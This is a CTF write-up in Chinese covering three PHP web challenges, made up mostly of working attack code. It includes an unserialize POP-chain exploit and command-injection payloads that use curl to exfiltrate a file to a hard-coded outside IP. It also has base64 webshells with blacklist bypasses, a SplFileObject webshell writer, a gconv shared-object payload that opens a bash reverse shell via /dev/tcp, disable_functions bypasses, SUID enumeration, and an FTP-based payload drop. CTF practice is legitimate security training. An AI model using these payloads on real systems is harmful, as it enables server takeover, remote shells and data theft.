ezpop
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
链子
fin::destruct -> what::toString -> mix::run -> crow::invoke -> fin::call -> mix::get_flag
exp
<?php
class crow
{
public $v1;
}
class fin
{
public $f1;
}
class what
{
public $a;
}
class mix
{
public $m1;
}
$fin1 = new fin();
$fin2 = new fin();
$crow = new crow();
$what = new what();
$mix = new mix();
$mix2 = new mix();
$fin1->f1 = $what;
$what->a = $mix;
$mix->m1 = $crow;
$crow->v1 = $fin2;
$fin2->f1 = $mix2;
$mix2->m1 = "?><?php phpinfo();?>";
echo serialize($fin1);
calc
info: hack the calc 说起这道题,比赛完我直接人麻了 逻辑很简单,就是接受字符串做 eval 计算,然后log中只有num部分可控,接着执行了系统命令 当然eval肯定是做了过滤了,漏了反引号 那就构造 1+1#`ls` 反弹shell 或者curl外带数据
?num=1+1#`ls`
?num=1%2B1%23%60curl%09http://1.116.110.61:4000%09-F%09xx=@./tmp/log.txt%60
?num=1%2B1%23%60cat%09/Th*%60
?num=1%2B1%23%60curl%09http://1.116.110.61:4000%09-F%09xx=@./tmp/log.txt%60
upgdstore
info: Can you upload me?
直接上传 <?php phpinfo();?> 可以并且回显文件地址,php8.0.1
disable_function很离谱,究极究极究极多,看来需要bypass,putenv,mail没有被ban 现在就是尝试能不能getshell,show_source没有被ban,上传的时候一直被检测 尝试读文件:
利用php函数大小写不敏感绕过 <?php Show_source('../index.php');?>
动态绕过 <?php base64_decode('c2hvd19zb3VyY2U=')('../index.php');?>
或 <?php echo ('fil'.'e_get_contents')('/var/www/html/index.php');
在PHP中,函数名、方法名、类名、关键字不区分大小写;但变量名、常量名区分大小写。
读取到 index.php
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}
return False;
}
error_reporting(0);
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
就想办法拿shell,学习到两种方法
一、利用 include+php伪协议
上传一句话木马为1.php
PD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4=
伪协议包含
<?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1mM2I5NGU4OGJkMWJkMzI1YWY2ZjYyODI4Yzg3ODVkZC5waHA="));?>
二、内置类SplFileObject::fwrite 写文件
由于过滤了 $,我们无法使用变量,过滤了 - 我们无法调用类的动态方法
由于绝大部分写文件函数都被禁止了,我们考虑使用内置类 SplFileObject::fwrite 进行写文件,写一句话木马
利用继承,重写一个类,把动态方法调用变成静态方法
(学到了学到了)
<?php
define("EV", "eva"."l");
define("GETCONT", "fil"."e_get_contents");
define("D",(GETCONT)('/var/www/html/index.php')[353]);
define("SHELL","<?php ".EV."(".D."_POST['a']);");
echo (GETCONT)('./shell.php');
class splf extends SplFileObject {
public function __destruct() {
parent::fwrite(SHELL);
}
}
define("PHARA", new splf('shell.php','w'));
开始bypass disable,利用shell.php
payload.c
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
puts("pwned");
system("bash -c 'bash -i >& /dev/tcp/ip/3000 0>&1'");
exit(0);
}
生成so文件
gcc payload.c -o payload.so -shared -fPIC
gconv-modules
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
用 SplFileObject 写 payload.so 和 gconv-modules
$url = "http://ip:8000/payload.so";
$file1 = new SplFileObject($url,'r');
$a="";
while(!$file1->eof())
{
$a=$a.$file1->fgets();
}
$file2 = new SplFileObject('/tmp/payload.so','w');
$file2->fwrite($a);
触发
putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");
没有权限读取flag 尝试suid提权
find / -user root -perm -4000 -print 2>/dev/null
find /bin -perm -u=s -type f 2>/dev/null
find /usr -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
补充
还有利用 ftp 进行写操作
python开启ftp服务
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_anonymous("./")
handler = FTPHandler
handler.authorizer = authorizer
handler.masquerade_address = "ip"
handler.passive_ports = range(9998,10000)
server = FTPServer(("0.0.0.0", 23), handler)
server.serve_forever()
php下载
$local_file = '/tmp/hack1.so';
$server_file = 'hack.so';
$ftp_server = 'xxxxx';
$ftp_port=21;
$ftp = ftp_connect($ftp_server,$ftp_port);
$login_result = ftp_login($ftp, 'anonymous', '');
ftp_pasv($ftp,1);
if (ftp_get($ftp, $local_file, $server_file, FTP_BINARY)) {
echo "Successfully written to $local_file\n";
} else {
echo "There was a problem\n";
}
ftp_close($ftp);
参考
2022DASCTF三月月赛-WriteUp | Site-01 (rayi.vip)
(●′3`●)やれやれだぜ (erroratao.github.io)
|